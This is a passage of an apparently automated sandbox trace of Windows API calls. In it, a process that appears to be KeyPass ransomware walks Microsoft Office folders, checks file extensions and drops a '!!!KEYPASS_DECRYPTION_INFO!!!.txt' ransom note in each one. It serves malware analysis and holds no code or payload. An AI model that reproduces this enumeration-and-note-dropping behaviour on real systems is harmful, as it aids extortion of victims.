[0264.641] GetFileType (hFile=0xb90) returned 0x1 [0264.641] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0264.641] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0264.641] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0264.641] WriteFile (in: hFile=0xb90, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0264.642] WriteFile (in: hFile=0xb90, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0264.642] CloseHandle (hObject=0xb90) returned 1 [0264.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bb08 [0264.643] FindNextFileW (in: hFindFile=0x4e2bb08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.643] FindNextFileW (in: hFindFile=0x4e2bb08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.643] FindNextFileW (in: hFindFile=0x4e2bb08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL") returned=".DLL" [0264.643] FindNextFileW (in: hFindFile=0x4e2bb08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0264.643] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.643] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0264.643] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.643] GetLastError () returned 0x3f0 [0264.643] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.643] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1036\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb98 [0264.659] GetFileType (hFile=0xb98) returned 0x1 [0264.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0264.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0264.659] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0264.660] WriteFile (in: hFile=0xb98, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0264.660] WriteFile (in: hFile=0xb98, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0264.661] CloseHandle (hObject=0xb98) returned 1 [0264.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bec8 [0264.661] FindNextFileW (in: hFindFile=0x4e2bec8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.661] FindNextFileW (in: hFindFile=0x4e2bec8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.661] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.661] FindNextFileW (in: hFindFile=0x4e2bec8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.661] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\MSGR8FR.DLL") returned=".DLL" [0264.661] FindNextFileW (in: hFindFile=0x4e2bec8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0264.661] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.661] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0264.661] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.661] GetLastError () returned 0x3f0 [0264.661] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.661] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\3082\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb9c [0264.663] GetFileType (hFile=0xb9c) returned 0x1 [0264.663] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0264.663] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0264.663] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0264.663] WriteFile (in: hFile=0xb9c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0264.664] WriteFile (in: hFile=0xb9c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0264.665] CloseHandle (hObject=0xb9c) returned 1 [0264.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bc08 [0264.665] FindNextFileW (in: hFindFile=0x4e2bc08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.665] FindNextFileW (in: hFindFile=0x4e2bc08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.665] FindNextFileW (in: hFindFile=0x4e2bc08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\MSGR8ES.DLL") returned=".DLL" [0264.665] FindNextFileW (in: hFindFile=0x4e2bc08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0264.665] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\LTSHYPH_EN.LEX") returned=".LEX" [0264.665] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\LTSHYPH_ES.LEX") returned=".LEX" [0264.665] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\LTSHYPH_FR.LEX") returned=".LEX" [0264.665] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8en.dub") returned=".dub" [0264.665] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.665] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8EN.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8es.dub") returned=".dub" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8ES.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8fr.dub") returned=".dub" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8FR.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7EN.DLL") returned=".DLL" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7EN.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7ES.DLL") returned=".DLL" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7ES.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7FR.DLL") returned=".DLL" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7FR.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.dub") returned=".dub" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX") returned=".LEX" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.666] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7ES.dub") returned=".dub" [0264.666] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7ES.LEX") returned=".LEX" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7FR.dub") returned=".dub" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7FR.LEX") returned=".LEX" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msspell7.dll") returned=".dll" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8EN.DLL") returned=".DLL" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8EN.LEX") returned=".LEX" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8ES.DLL") returned=".DLL" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8ES.LEX") returned=".LEX" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8FR.DLL") returned=".DLL" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msth8FR.LEX") returned=".LEX" [0264.667] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.667] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PropertyModel.dll") returned=".dll" [0264.667] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PropertyModelProxy.dll") returned=".dll" [0264.667] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.667] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROPMGR.DLL") returned=".DLL" [0264.668] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.668] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROPRPT.DLL") returned=".DLL" [0264.668] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.668] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\protocolhandler.exe") returned=".exe" [0264.668] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.723] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PrstEvnt.dll") returned=".dll" [0264.723] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.723] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PRTF9.DLL") returned=".DLL" [0264.723] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.723] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Psom.dll") returned=".dll" [0264.723] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.723] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PSTPRX32.DLL") returned=".DLL" [0264.723] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.723] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PTXT9.DLL") returned=".DLL" [0264.723] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.723] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.723] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.723] GetLastError () returned 0x3f0 [0264.723] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.723] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xba0 [0264.775] GetFileType (hFile=0xba0) returned 0x1 [0264.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.776] WriteFile (in: hFile=0xba0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.777] WriteFile (in: hFile=0xba0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.777] CloseHandle (hObject=0xba0) returned 1 [0264.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2bc48 [0264.777] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.777] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.777] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB10.BDR") returned=".BDR" [0264.777] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB11.BDR") returned=".BDR" [0264.777] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB1A.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB1B.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB2A.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB2B.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB3A.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB3B.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB4.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB5A.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB5B.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB6.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB7.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB8.BDR") returned=".BDR" [0264.778] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.779] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB9.BDR") returned=".BDR" [0264.779] FindNextFileW (in: hFindFile=0x4e2bc48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.779] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.779] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBCONV.DLL") returned=".DLL" [0264.779] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.779] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBTRAP.DLL") returned=".DLL" [0264.779] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 